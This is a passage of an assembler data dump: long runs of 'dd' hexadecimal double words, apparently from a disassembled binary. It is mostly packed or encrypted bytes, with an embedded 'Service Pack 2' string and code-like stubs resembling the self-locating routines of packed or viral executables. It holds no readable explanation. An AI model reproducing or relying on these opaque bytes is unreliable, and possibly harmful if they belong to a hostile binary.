8B000000h, 36E9D1h, 46930000h, 69E50950h dd 716DEF4Dh, 11E9h, 4F318A00h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h dd 85E9CF27h, 0BFFFFFFh, 80C98B2Ah, 1EC87784h, 5C71C17Fh dd 282B0EA6h, 12E9h, 0CB0D4700h, 62h, 2 dup(0) dd 0E9000000h, 0BFBh, 0FFFE3C68h, 5876E907h, 1168FFFBh dd 0E907FFFFh, 0FFFB586Ch, 8968h, 5862E908h, 7A68FFFBh dd 0E9080001h, 0FFFB5858h, 47F68h, 584EE908h, 1D68FFFBh dd 0E9080006h, 0FFFB5844h, 71968h, 583AE908h, 0B94EFFFBh dd 26D67D04h, 0A561088Fh, 1EF0971Eh, 8C7920A7h, 0F14AE35h dd 0B83F8683h, 44CBFA11h, 0D1586F9Dh, 5BE2D32Ah, 7B38B524h dd 0DBEFE213h, 2CD56EA2h, 143C9AE0h, 4C7992B9h, 1CEDC401h dd 926B0AA5h, 0E5259C23h, 0EEF471A8h, 42EF7CF0h, 0DA17AE5Bh dd 6EA33E89h, 0EFDD00B5h, 0B10CD742h, 0E88332CAh, 2AD9CE87h dd 0D11CFAB2h, 3A1A2994h, 4AB7D0AAh, 93000000h, 0E9205D9Dh dd 4087836Ah, 0B01D5AA5h, 0EF7C1F7Eh, 6BD49E8h, 3AD5206Bh dd 0DC2F4C05h, 0A36ED9EFh, 1CAB634Ah, 0E1DB2081h, 3FFBCD1Dh dd 0C97E93F4h, 431BCB9Ah, 5EA89B06h, 8A33D0AAh, 239C175Ch dd 0DD5693C1h, 0DDh, 259C6DB9h, 0C4FB07EEh, 0E815B487h dd 9E491BBh, 236E441Ch, 0A110E988h, 2BB9C16Ah, 9313613Dh dd 15E48356h, 0BAD8159Ch, 3EE7E287h, 888542BFh, 0AF5FE7E2h dd 19327D18h, 87A865E2h, 0BD08E7E2h, 0AF5E3572h, 11E88F16h dd 0B90EBF8Ah, 6FBA6530h, 0E82565D4h, 0BC3234B1h, 519CEF7Ch dd 0D60B53CAh, 1E45229Fh, 9AE5F771h, 0E08D7C63h, 0B6019C25h dd 0D431D06Bh, 0F665A2EDh, 0BE7BF877h, 1EF7D99Dh, 9DAD6AE7h dd 0C20DF7D9h, 0A6633A77h, 14F1981Fh, 739E6FADh, 9F6A2F17h dd 9AE5Ch, 5F56A900h, 0EAD931D8h, 7940BC63h, 2B54BF2h dd 9029D47Bh, 0DE646F09h, 6C139A23h, 0F89F269Fh, 852CB302h dd 7FB63D74h, 14D69310h, 0FD36EFE2h, 29906DC9h, 8E7C63A2h dd 14519C37h, 6EF5CC3Dh, 205D9D72h, 1F3A6CE9h, 59A4EF7Ch dd 0F3C23B22h, 0FDD00D58h, 0DC2F0FC8h, 9E1D9CEFh, 0DC2F6421h dd 3C79C4EFh, 88BB16E1h, 49D0AA25h, 0AFh, 259C6D25h, 0C3FA07EEh dd 0E914B386h, 58B299D0h, 4A87D26Dh, 0A0594077h, 4967D411h dd 65E7E21Bh, 853CC994h, 0F85A033Ah, 232320D4h, 0F89F5E9Bh dd 0A615B001h, 75F22966h, 0EF7D0373h, 940B92DDh, 63E01754h dd 0F7714FBBh, 0AC93CA15h, 42FF7C51h, 0A2F7D9E2h, 0DE850C57h dd 935C9A23h, 4D2F173Fh, 8D93F82h, 897E0000h, 0F606AD34h dd 759138BFh, 0EE20C74Eh, 5CA950D7h, 5F44DE65h, 0E86F56B3h dd 74FBCA41h, 1883FCDh, 8B12A35Ah, 0AB68E554h, 0BEFE215h dd 906D9ED2h, 9549F229h, 0B1366192h, 0F3229F2h, 529D8A6Bh dd 5EAF5615h, 6DE4E067h, 45EE259Ch, 0C72CA3C0h, 27FA37AFh dd 9407188h, 9DDAEB22h, 0EA2767DEh, 0BD4D34B3h, 0A25CC906h dd 0FCEF7CD0h, 867716B1h, 0F511F82Fh, 0EC378E7Ah, 0AC90651h dd 0E41BAA63h, 0CAC56E3Bh, 0C906E908h, 2CD8BFF6h, 72AFFA95h dd 58432605h, 743F5A83h, 0E26958B1h, 0BCF3C23Bh, 4503C03Dh dd 18638360h, 0EAD108DBh, 0FA67A411h, 83604540h, 0C68F5AB5h dd 58159237h, 0B8836045h, 0F49B226Dh, 0DC11AC05h, 72F7B2CCh dd 3D08D3F6h, 0C76EF5CCh, 75E47F36h, 42C1F835h, 0DB18AF5Bh dd 0FA79646Eh, 2CB3FE8Ah, 13875B5h, 0F4AB5E84h, 2AC51092h dd 54AE3BF5h, 644BCA93h, 85E01D94h, 8C7C63BAh, 124F9A35h dd 22AE9CA7h, 4C9357Ch, 0F8110000h, 5E93DBC4h, 1D0CAA27h dd 63AEEF7Ch, 6C9BCD32h, 6FAFBCA3h, 287EFB32h, 0DAD44609h dd 6FDA8B79h, 77897C6Bh, 0F5AA540h, 0E12C9570h, 7E49C3AAh dd 885B98E3h, 0DB86D119h, 0DFDE1531h, 51CE0550h, 0DC40623Ah dd 611E9BD2h, 0C1DCA072h, 0DF42B76h, 973EC5FCh, 4C114F66h dd 0F8D45EAFh, 761EA2Dh, 1F60000h, 8E7E25ACh, 0FD09B037h dd 66983FC6h, 0E421C84Fh, 0D7BC56DDh, 60E7DE2Bh, 0EC7342B9h dd 7900B745h, 38A3BD2h, 23E05DCCh, 83EFE217h, 9C6D164Ah dd 6C538A25h, 428D2891h, 0EBD22E05h, 0DD1964h, 9DF50000h dd 0C2291AA7h, 0F89322DBh, 576E3B97h, 6FBA2974h, 98D2E632h dd 1C277A45h, 0B5D7508Fh, 69h, 1AA79D91h, 16AC66E3h, 69E8E7E2h dd 0E2172FECh, 7448FE7h, 7CE717B6h, 4EE9348Dh, 7E1DB803h dd 18FF368Fh, 0D493D0E1h, 4AE5DC2Dh, 275E93DBh, 7C3154AAh dd 20BB06EFh, 0A13C8B81h, 20BB0A02h, 80DDA8C3h, 0DC424603h dd 105BA6EFh, 9BF6C12Ch, 0D0AA18A8h, 1029h, 0EFC90500h dd 62000000h, 0CDD669B9h, 0B1EECF3Ch, 205D9D85h, 45B26CE9h dd 0D50CEF7Ch, 0DC479B58h, 11B0FBEFh, 3F7DC8FFh, 271AC56Ch dd 700E511Ch, 0E7000006h, 6F169D10h, 0FAA1289Fh, 8930B70Eh dd 12B94077h, 0AD47CEF7h, 0D8E11CA6h, 6451AA51h, 0F1C436DDh dd 7B4AC36Ah, 0D14EBDF4h, 0EFE21814h, 9D073B74h, 0E5291AA7h dd 0E0D72922h, 635AA645h, 0D04D67C8h, 556FE3ADh, 76E3AEC9h dd 0F9582376h, 0D750B24Ah, 5487h, 0A79D6300h, 0D32F3AC6h dd 1F56A1ECh, 0B8F5CC38h, 2C964B8Fh, 80B30ED9h, 41D7503Dh dd 35h, 1AA79D1Dh, 0E819C229h, 2F3D0C13h, 48E4306Dh, 1BB609FFh dd 99348D7Ch, 8F56213Ch, 62AD487Fh, 0F9C41717h, 0E25CEAA6h dd 53E71AE7h, 74D7506Fh, 0FFFFFEABh, 1AA79D50h, 9F49E529h dd 330814Ch, 0BED7503Dh, 2B7h, 29987057h, 906DC0ECh, 70578E29h dd 428D2899h, 0E5D82E05h, 0A78EBD4Ah, 7EC9645Bh, 5A1BE641h dd 0E88F16AFh, 0D6628E1Dh, 80101A7Eh, 0E2B44603h, 105BA6E7h dd 73BB2AC5h, 0DF88073Eh, 0F1041424h, 67D41132h, 0EF7C6851h dd 0D8D03CE5h, 1EDAEC0Ch, 0E4590E1h, 79F6D527h, 0EFDCF9BCh dd 4986D11Ch, 33FE1976h, 0AD18F3DAh, 556C9970h, 0F7DA27CEh dd 0DCF9BD7Ah, 506797EFh, 6516AB5h, 6F9D84BBh, 0E1700742h dd 69B4C25Ah, 0EBD22FCEh, 5B9063A0h, 0EFDC40A2h, 0AA27A615h dd 0EFDC42EDh, 0AB63024Dh, 0F936811Ch, 0F712D39Eh, 65A047CEh dd 4336F370h, 4B96EFDCh, 0CE6950ACh, 2E9D3883h, 8B48C5EEh dd 0EBEFDC43h, 0B803BA4Ch, 23B9366Dh, 0D5F7763Bh, 0DDC4038Ah dd 0B0FB962Dh, 2EC9F811h, 0BFFFA6E3h, 92644B82h, 611F801Bh dd 4098C1FCh, 7BEA2772h, 0CFE615FCh, 0B14AE934h, 505AC704h dd 0EAFF7109h, 12CF049Fh, 0ECFFD109h, 6D0CA71Eh, 8D289Fh dd 0B1AF1AE5h, 24099942h, 25D2336Dh, 33C28DE8h, 27FB6EBh dd 76B2FF8h, 457C8D74h, 0D1225FAAh, 92684F86h, 8027E623h dd 0FE9D3889h, 0F02FB60Fh, 3037F471h, 4C9707CBh, 0EB20680Fh dd 4B3137B4h, 58A30F65h, 5ACF88BDh, 0F15C0FC5h, 7D78CB26h dd 5E59F0B3h, 35000000h, 0C30A5D9Dh, 0FC0435DBh, 85043B86h dd 0BF5A639Eh, 0F1A11374h, 4820AC9h, 83285AC7h, 0F574EF7Ch dd 0F56D1B4Ch, 99CED75Ch, 0EFDCFFDCh, 63B4F13Ch, 0FFAE118h dd 6FD01BB6h, 25BEC662h, 0C99CD974h, 0DC9CDB94h, 6AE968EFh dd 0DC9D30EDh, 84590EFh, 0A48FE2ADh, 1DD0AABBh, 0DAh, 0D19C6DF9h dd 0A4EF8A39h, 0E21FBE59h, 16B572EFh, 0CA15E7E2h, 4BE6D12Bh dd 7B1AB500h, 61983382h, 9C378E7Ah, 0E09D1A51h, 40E7E216h dd 28E1B8F5h, 0B7D51299h, 0D3E7E21Bh, 0F2C5373Ah, 3AC10C57h dd 0F467BC3h, 0E3801566h, 0C906F308h, 7F4DB5Ah, 0DA0471AEh dd 34EF7667h, 0BB09B2E9h, 6BE0BFFFh, 836AD916h, 21083F86h dd 0F641DCEBh, 1830FC95h, 0EC298FE1h, 427B862Dh, 1CFA2D04h dd 0C90CD727h, 36Bh, 1BA21BECh, 0A62D8474h, 35BC03FFh dd 0BE45788Eh, 4CD3EA17h dd 0E421A1B2h, 5CAF56DDh, 0C13BE269h, 31C86FF6h, 53C2F980h dd 0E21B19D6h, 0C4079EFh, 873D2CD5h, 0D9815797h, 8138C59Ch dd 914ECB4Ah, 0F1E7E2A4h, 3AA69A6h, 0F534BB0Ah, 0A43CF976h dd 519CE7E2h, 9C6DE814h, 12EB8A25h, 0BD08BF4Fh, 0F510F736h dd 16A663E0h, 0BB06E7E2h, 0D5073370h, 0AA518EEh, 52AB82BFh dd 0D029C863h, 0AE2BAAE1h, 0E7E216F1h, 0AC90651h, 0DF164B93h dd 7C315C62h, 30C9B0EFh, 7CFBBC6Bh, 550B93Eh, 91E21F6Ah dd 0BD76AB46h, 4AEFDC52h, 76BD14DFh, 4BD0AA05h, 65h, 205D9D27h dd 6CEB6AE9h, 0E21732EFh, 124792E7h, 0E7E21755h, 0C02D6AB5h dd 0EF7C1F8Eh, 21DE5BDAh, 81EFDC30h, 9A8F936h, 9A57D4F7h dd 0FAEFDC2Fh, 0E21964AFh, 6F9D0B39h, 0CA078C11h, 3A17C0F7h dd 7FA656FDh, 853CC968h, 9522DB48h, 44AFEFDCh, 357B2479h dd 0CDA25A6h, 0BF84EF2Ch, 12D0AA90h, 0C6h, 259C6DEEh, 0A71EEB8Ah dd 259C6D0Ch, 0A312EB8Ah, 0E934DD1Ch, 4EDE4333h, 6886F330h dd 0ECE7E2CAh, 0CB33F06Dh, 0F10DE7E2h, 2966B1CAh, 830ABB52h dd 5D942DDCh, 0CAA461DEh, 80BCE7E2h, 3BF45CC2h, 0A5E22D46h dd 0E61B63D2h, 6CF832AFh, 752EF7Ch, 8CC10980h, 0D198D855h dd 0B702F770h, 566D9980h, 46C3AA19h, 10B9F87Fh, 0CA9DB67Bh dd 88053C73h, 0F7D993CBh, 0CCA3E02Bh, 0E54A8831h, 132F1789h dd 1CD0548h, 758A0000h, 0FA12B940h, 619D44CBh, 0DA2CD35Ah dd 48B55CE3h, 4350EA71h, 0F47B42BFh, 8007BE4Dh, 0D9423D9h dd 971E9766h, 0B774F160h, 17EFE21Ch, 906DAADEh, 0FE0BF229h dd 0A4E12CC7h, 0F6CF3EE5h, 5D9D736Fh, 3A6CE920h, 0A4EF7C1Fh dd 0D089BE59h, 0A2EFDC2Eh, 20BF5A6Bh, 0A942DDE4h, 6A4EBB86h dd 56DD34FFh, 6BD0AA25h, 0CBh, 259C6D47h, 0BFF607EEh, 3550C324h dd 0C1724998h, 0C7663976h, 0CD4C833Ah, 0E2939350h, 9B58D5E7h dd 0FBE7E293h, 0F4C97B0h, 0E31E053Ch, 0B7F43FDAh, 0E2992C4Ah dd 3DC9B0E7h, 63A0EB86h, 0BD447D8Ch, 33CEE716h, 104784C4h dd 7CAC5993h, 3168B3EFh, 0C502B34Ah, 124F8F06h, 0AF06F4DBh dd 0A360DD14h, 3EFDCADh, 0C1306DB8h, 70FB5F44h, 5BD80FF7h dd 0F7D98D9Eh, 9F6631B6h, 314A6EF4h, 7D649BE6h, 0BB23980h dd 0BC89C7FEh, 482F1784h, 0D13A7Dh, 71860000h, 0FE0EB53Ch dd 6D9940C7h, 0D628CF56h, 54B158DFh, 474CE66Dh, 0F0774EBBh dd 7C03B249h, 99027D5h, 931AAB62h, 0B370ED5Ch, 13EFE21Dh dd 906DA6DAh, 2FBA229h, 0D5302CB3h, 0CA71EEEh, 5CAD84C1h dd 0BB472E65h, 1E6958B0h, 9E6F0EE1h, 2847F027h, 9D27C87Dh dd 0ACEBAAE7h, 0E78239C5h, 70B85F9Ch, 0BF4F1AE7h, 0D722BD08h dd 9BD8558Ch, 0FBEF79E2h, 7813AA5Ch, 0C4ABE22Dh, 98E37E37h dd 10E9885Bh, 9A731AA1h, 3E55D215h, 8BD65A20h, 0BE6EBBF0h dd 7F9A4AADh, 997259B4h, 210ACB2Ch, 91D79DEEh, 358C7D54h dd 0BFF607AEh, 3C738524h, 5E2944A1h, 0C84F6697h, 0A2D9E821h dd 2FE9A623h, 0FE495AADh, 7B16A95Fh, 0DD20F330h, 3, 6DB6DAB9h dd 0E988239Ah, 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh dd 6C0BA61Fh, 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E18951h dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 80685C24h, 89000053h dd 0EC83243Ch, 241C8904h, 6FD468h, 242C8900h, 0FFFCE1BDh dd 5DEF8907h, 32A368h, 24248900h, 4240481h, 5B000000h dd 5480B850h, 0E0D11789h, 0EA74692Dh, 348F2D7Dh, 0D801B128h dd 0FF583889h, 835B2434h, 3C8B04C4h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 0FB4C8FE9h, 78D7A1FFh, 95CEC201h dd 0B84436A9h, 800080Fh, 0E0FFC503h, 7BA546C5h, 6DD894FCh dd 2F0E9538h, 456AF415h, 0BF8FAA2h, 78F278A7h, 5EB1BA74h dd 6F42A3B6h, 296AF368h, 44F60170h, 2C32DE57h, 25B4AD73h dd 7BAA4DFFh, 48DA0BDDh, 65DE1CACh, 6AA9AE13h, 685A4BD9h dd 20DDA387h, 7EF38FE1h, 370D625Eh, 50D9DE4Dh, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 8F5B5h, 0ED858B08h, 8B07FA33h dd 0FA224585h, 3FB58D07h, 8D080009h, 0FD7DE285h, 0C3D0FF07h dd 0E855h, 815D0000h, 945EDh, 0EDBD8308h, 107FA33h, 2C850Fh dd 0B5FF0000h, 80008F5h, 2245858Bh, 363507FAh, 0FF348127h dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h dd 1C6A0000h, 8F9B58Dh, 0FF560800h, 8F5B5h, 45858B08h dd 3507FA22h, 34812736h, 0C483D0FFh, 0F9B58D0Ch, 8B080008h dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h dd 0BD830000h, 7FA33EDh, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h dd 91E858Dh, 85890800h, 7FA0825h, 0A6E9h, 0D1E53E00h, 9407h dd 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h, 63615020h dd 32206Bh, 1Fh dup(0) dd 0E9000000h, 0C71h, 0C2668h, 7452E908h, 5768FFFAh, 0E908000Dh dd 0FFFA7448h, 0E4468h, 743EE908h, 0B368FFFAh, 0E908000Eh dd 0FFFA7434h, 100068h, 742AE908h, 8A68FFFAh, 0E9080010h dd 0FFFA7420h, 143968h, 7416E908h, 9768FFFAh, 0E9080015h dd 0FFFA740Ch, 0E016888Eh, 89BFDF33h, 2F6539DCh, 0DB118D82h dd 85BBE32Eh, 5EB39C51h, 0B75D0A40h, 0C04B1E7h, 64AF5C92h dd 0DD35043Ah, 0E68D5EC1h, 671E8407h, 1BF66CA7h, 66CFF883h dd 19D76DBh, 411F6ACBh, 0ADFB95B1h, 4EA707E0h, 0AD3097C3h dd 0B93A07E0h, 0B5C0F8FFh, 235E406Eh, 0EF000000h, 3ACA96F3h dd 0E09C501Eh, 57B94E07h, 2753DE47h, 7E09BC0h, 888F49CAh dd 406EA750h, 0FBEEh, 6CA77F00h, 257A732h, 80148E10h, 6637C3D1h dd 0D938E58Bh, 0D9F535C5h, 0FFE75F76h, 769E439Ch, 0CE749D28h dd 613DD63Bh, 0E13186D6h, 630932BDh, 0B1415DB6h, 0CD488A87h dd 5EFDD8BAh, 0E938B236h, 59973DB5h, 0E6B3F9E5h, 0C9281FFh dd 0B4EA29D6h, 0AB791029h, 3FCF3866h, 0E0CC8523h, 92C82107h dd 78085831h, 25B0EE23h, 0A2BE56FCh, 0FDD6D5Fh, 6F2FE136h dd 972780C9h, 88A6706Dh, 997118Dh, 71E35DD3h, 87E4B4B0h dd 0BAFA9238h, 67F2AC65h, 8198FB17h, 65BEFFEDh, 0ED506CFCh dd 13FFED80h, 0AA6714BAh, 30F64F4h, 1FB7F59Bh, 0E89CBF5h dd 993FABEBh, 0BB7925ECh, 999863B0h, 31C1609Bh, 0CD00000Ah dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h dd 7E68F9Fh, 0A7A85FC5h, 51FE346Ah, 0EFA6DCC2h, 3ACA96F3h dd 0E09C501Eh, 8ECE4E07h, 0E09B0F72h, 70DC3507h, 7E09B0Dh dd 0E171DA33h, 0D5C94CA1h, 52B5214Ah, 8007E09Bh, 48E10516h dd 2B948440h, 5FC6F285h, 6907E17Dh, 127591D1h, 4007E17Dh dd 6C041E7h, 6F89C7FFh, 0E86540h, 0A7F60000h, 42A7326Ch dd 0EA3FCFCFh, 40D37925h, 0E6882814h, 0FD2767FFh, 0CDE0E19Dh dd 52B52137h, 80FFE731h, 3FD48127h, 79DCF838h, 0A7FFE731h dd 317FE24Eh, 4CA5FFE7h, 1300ADE3h, 4DD8C64Fh, 81DCAA24h dd 5B0B11Fh, 77CC0C9Ch, 5079049Ah, 0E6AA81E4h, 0E14460FFh dd 0FFFE6A9h, 761C75B6h, 0A1BFCAE3h, 0CB57F511h, 0EE8307E0h dd 87EC7727h, 5C85108Eh, 0BAFA8AF3h, 0E08A3B9Eh, 6A106907h dd 0A2BECB2Ch, 69A2F612h, 85D0FDDh, 0A308930Bh, 7AA32E70h dd 0C9226B11h, 712DE439h, 1B838E3Bh, 9899D05Dh, 59F83399h dd 900h, 508618FEh, 0F92F6FA3h, 9FD5C94Ch, 4B811DF2h, 0F52B739Eh dd 0EE230CC1h, 47CD7AB0h, 9C742157h, 0F41FCC02h, 4DA574AAh dd 0E690CE31h, 0D78EF407h, 1AF86AA7h, 67D0F984h, 0F8F8431h dd 7CBC22D9h, 0E682FD60h, 24CA23FFh, 72029C77h, 0A6F81Dh dd 570B086Dh, 4379E2BCh, 29B9A7E2h, 0AB89BFE9h, 807B4CCh dd 0B77EE62h, 0C6507E7h, 0BD203C7Ch, 0E307E6FAh, 0F74CE48Ah dd 0D84C821Ch, 7E6FB05h, 8B8A9AF3h, 9B74AA13h, 0B0B0D983h dd 5747CB20h, 0FBFD19B1h, 980FE100h, 5F1C1C6Eh, 0CA70EF1Ch dd 87EB2881h, 0A3A9DFE1h, 9251475h, 9C1915A6h, 7A0A73CCh dd 0B7277450h, 7B213FCDh, 59F5C7E3h, 0C821A413h, 61640E38h dd 0FB9DA7A7h, 0E0A9C255h, 4AD4F080h, 58A3AC3Bh, 0F91A6FFFh dd 51C26FA5h, 0F7788F4Dh, 205B05ABh, 81381h, 732BEB00h dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 91BD203Ch dd 7DE307E6h, 0CA96F3C6h, 6CA5FA3Ah, 0EE6DA732h, 9153151h dd 0E65A0069h, 7E70C6Fh, 1F74045Dh, 0DD75ABF3h, 7C0C4B3h dd 0EA90043Ch, 3EC9D53Dh, 0E8283AD9h, 99022BB6h, 9E3AB2DBh dd 0C3629D91h, 7A4h, 0ACE2BC5Ah, 558B13FFh, 0FB316DA8h dd 0A7DDC14Eh, 518717FAh, 927F681Dh, 0EB29D60Ch, 40D07DB3h dd 987B285Eh, 0A901D006h, 0E6912A8Dh, 3BF25807h, 3ACA96F3h dd 3B9EBAFAh, 5FFE683h, 0DB048F0Fh, 279B419Ah, 7E68DB0h dd 0E035C51Eh, 2EC66C32h, 2F92AEEEh, 1C07E68Ch, 0CA796136h dd 48DD1EADh, 1E47D2CCh, 0B1620FB5h, 0CA1FB7EDh, 0A1CA5549h dd 6DF39AFBh, 178788DDh, 66BDD971h, 7407E6A7h, 0FE64901Bh dd 807E6A6h, 0A9FECD87h, 0C1913767h, 4074AF89h, 4327h dd 9AF3B800h, 0BB1A36C6h, 0E9FFE683h, 72D90590h, 7CFFE683h dd 487241FBh, 4ADF86Ah, 0E2B2583Ch, 38753DAAh, 0D2355191h dd 0FFE72Dh, 112001A7h, 0B1000000h, 1FF6Dh, 0C9E52500h dd 0FFE68366h, 0D68D338Ch, 0F3AB67BCh, 0C0993F68h, 0D78900AAh dd 8A292B47h, 238D07E0h, 39D870C0h, 37B1DA65h, 0B74CB20h dd 0B4EA267Bh, 5865C90Eh, 6EB78B73h, 99B5451Bh, 0B03191C7h dd 0CEE772CBh, 0D515A5BBh, 915156B9h, 29E77CAFh, 0CE660C75h dd 0C5D9398Eh, 0F521AB1Fh, 6CC5B78Eh, 40ECB2DCh, 0D7F0832Fh dd 0CF449931h, 27EC99CFh, 265AB977h, 367131C9h, 65797h dd 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h, 0D4CA47F4h dd 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h, 501F5549h dd 9379DCF8h, 41A707E6h, 0B6CA78Ah, 0E6838CEFh, 0E4BA56FFh dd 6FEF3059h, 0E682F053h, 54BD16FFh, 0D01060EBh, 0E68351B4h dd 833746FFh, 19E8C57Ah, 0CFCF43D8h, 38B21B44h, 0DC716F2Eh dd 298A3038h, 46700060h, 0DD9EC96h, 23BB6141h, 0E161A507h dd 4278D107h, 62207E95h, 9E64D00Fh, 0CD36D510h, 31000005h dd 0D683B9E5h, 7F2C623Ch, 25D20896h, 0D17EB4EAh, 0F4285E40h dd 0E5B9583Fh, 8C1202AFh, 3767A956h, 0DFBF5401h, 6682DAA9h dd 7E69303h, 0BC14CB31h, 82FD607Ch, 0CA23FFE6h, 0CB258850h dd 21C70E73h, 51C39F74h, 3099C24Dh, 0CBD340A5h, 39F32440h dd 0AAE0BE55h, 750FA2DAh, 3E4038h, 0F3D10000h, 1E3ACA96h dd 7E08C34h, 0AAF41DB2h, 0FD8DF61Fh, 0A8336BA8h, 8BD93C58h dd 0AE0707E0h, 0E00C9F45h, 7E08B79h, 41480283h, 406E9709h dd 67A7h, 0FB175700h, 7E07F98h, 8BF65BEh, 0E4B996F3h, 518227E0h dd 0C1DD6DD6h, 7E199C0h, 1B839126h, 6EFE6790h, 94F35144h dd 0C166FC12h, 96BF4A54h, 0F0358F0h, 7FE5598Fh, 4707E0F5h dd 49CD2CCh, 93A550DAh, 7AD6859h, 68AAB85Ah, 1982AB36h dd 0F6143E8Eh, 0A40723A9h, 0D207E0A3h, 6D52FF79h, 0D51900A6h dd 0B2000004h, 3ACA96F3h, 0E0AD8C1Eh, 7E9A1A07h, 7E0AC1Bh dd 6ADA2710h, 63A4A550h, 0BC11A10Ah, 97070A58h, 0EF7AE30Ch dd 288D20C6h, 0CE23B3EBh, 5DB75C42h, 0E78DB641h, 8C2FB54h dd 395C0F39h, 0EA51969Fh, 0BAA6E344h, 55AAEA2Ah, 3059E4BAh dd 0E14B61C4h, 91368F07h, 3771D81h, 0FDB7571h, 5E40D126h dd 0E0166FB8h, 33BEE033h, 1D818EE3h, 79049A78h, 4049AA50h dd 0E749020h, 3C07E180h, 803DA0BCh, 0E36307E1h, 0E18064C7h dd 0D0399207h, 9C77DC67h, 0FE127702h, 65F0AE64h, 0F848D33Ch dd 0E18079DCh, 0F24EA707h, 8D5F07C1h, 8EF10D4Dh, 0B407E180h dd 7A34B55Bh, 73107D96h, 1A848B0Dh, 11EC668Fh, 6CFC65E1h dd 16A6F817h, 0E0DA97FAh, 0BE64BD07h, 8CA8E880h, 7E0DA29h dd 0F758FE57h, 1C829292h, 9D0723B3h, 490FDAF1h, 0B5405EB4h dd 3398238Ch, 187B97E0h, 5FFE6C4h, 0C1C57F82h, 54D4154Eh dd 0E748D538h, 39A2FBFFh, 482A8DA9h dd 0FF58FFE7h, 6CA60B96h, 0D042A732h, 0BEFF43CEh, 618A5C04h dd 0E67A0FA7h, 97FA1656h, 0BDFFE748h, 4955BF64h, 85EF0BA3h dd 6107E15Fh, 5662C5E1h, 0FB9007E1h, 0D3FC8717h, 1ECB016Ah dd 0CE1EA9F5h, 61079779h, 0B6415DB4h, 866A245Dh, 43DB118Dh dd 0DB479819h, 0F99F014Bh, 0DF6FF198h, 0DB165DC3h, 2EE53A0Fh dd 16BCE570h, 84E974CDh, 557F0F8Fh, 0C5554512h, 0E07319ECh dd 0D36B254Eh, 0FE1AAAB6h, 7E10298h, 0B81B3777h, 0DE07E102h dd 6F2FE085h, 0CC15BBE4h, 0D0B9E373h, 857213B7h, 35E220C6h dd 630C0DEh, 0D3C00B7Dh, 0EE812745h, 84148A89h, 0E0C79D5Ah dd 282326E0h, 0E8F56B9Ch, 0FC3AE049h, 98060F64h, 2CF891F2h dd 0BD4DB6E8h, 0DB0D07A1h, 0B7429B0Fh, 0E6F8248Bh, 0F3AD2EFFh dd 7500B4ECh, 365238h, 0C2020000h, 0E6F043A6h, 721871FFh dd 0CA96F3BBh, 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h dd 9082D7A6h, 0B45A830Eh, 6EA7ACE4h, 0F94A40h, 0A5FA0000h dd 0D68D336Bh, 0A7326CA7h, 8CA8CF42h, 0FFE68329h, 0E84FE57h dd 0AF7D515Bh, 78DD68D1h, 1378039Bh, 0F4689E00h, 0FFE6AD08h dd 0BAD6A172h, 0FFE6A457h, 85BB247Dh, 0EA273BD8h, 0A7C04BB4h dd 0D2EE7EE2h, 7E0B9ECh, 2A8BC11Ah, 5571015Fh, 0FDD9979h dd 67BC4CA5h, 3D61B4AEh, 2FE449D4h, 52BBE46Fh, 7FD414ACh dd 0B6630995h, 73B3435Bh, 0ED58F457h, 54B7D3FFh, 82FFED59h dd 0E98FE829h, 4F13FEABh, 0D939DEC0h, 419E5CC5h, 42999896h dd 21E6807h, 36E00000h, 8D853268h, 0E72EDB11h, 3BD481B7h dd 91802D63h, 0EEA3D70Dh, 5C920C05h, 33965AFh, 0AEE4BA56h dd 568C1201h, 0B0132F87h, 0D607E697h, 6AA7B970h, 0C251FE34h dd 0F9A3E1CBh, 0D3FC8717h, 0A4317759h, 0E72A2588h, 89F24BFFh dd 0E9669020h, 41972CEEh, 6F0745EBh, 3BB0132Fh, 7DD6FFE7h dd 0DA6539D8h, 0F3540BB1h, 0FA3ACA96h, 833B9EBAh, 0FE1AFFE6h dd 0FFE6839Bh, 0D62F70C9h, 9BEEBC30h, 739D07E0h, 4E578E14h dd 0B3FCA226h, 0BF9D7C49h, 922284CEh, 0E17E1376h, 7FE84107h dd 0C04FA4F4h, 2E1953DEh, 0AB697142h, 3AAE54BDh, 7E0A4D3h dd 9BA25CDDh, 406EB063h, 811DF54Ah, 0DAFADBh, 0A78B0000h dd 42A7326Ch, 1844CFCFh, 0FFE6882Ch, 6CA5BD56h, 0F47F1FF6h dd 69F962CBh, 87AA0D29h, 7FD8FFE6h, 25EE9BD9h, 0B4D5EE79h dd 9CDC1CACh, 0E6871D80h, 0CED943FFh, 5D21156h, 0A317BD26h dd 7E114BDh, 0F95A90E9h, 2A8DA990h, 5807E0ECh, 0F08785FFh dd 0D70B9CAh, 0BFEA14A4h, 0E0E70229h, 0E1FD953Bh, 0FDDB9A6h dd 0BD203CBCh, 0E3FFED0Bh, 5191218Ah, 0ED0BD235h, 1A700FFh dd 0A1FD1469h, 927ED36Bh, 0F35C42D0h, 0F171A04Dh, 0CFCF431Fh dd 49B21B44h, 98C84A8Bh, 4BEA2599h, 0C0h, 90C6D83Eh, 396F2FE3h dd 0DF15898Ch, 8BC1DD32h, 356B33DEh, 0AE634C01h, 70DBAF0h dd 5CB46197h, 0B45F0C42h, 8DE5B4EAh, 0E6980E71h, 17CE3407h dd 0FE346AA7h, 6FA0C251h, 0D990C62Fh, 0A7326CA7h, 98FB1757h dd 0BEFFE683h, 112BF65h, 82F75A76h, 0D4E4FFE6h, 0E5EB17C9h dd 3CA5FE3Fh, 7CE4A506h, 506CACECh, 0FFE6DEEDh, 0A014BA13h dd 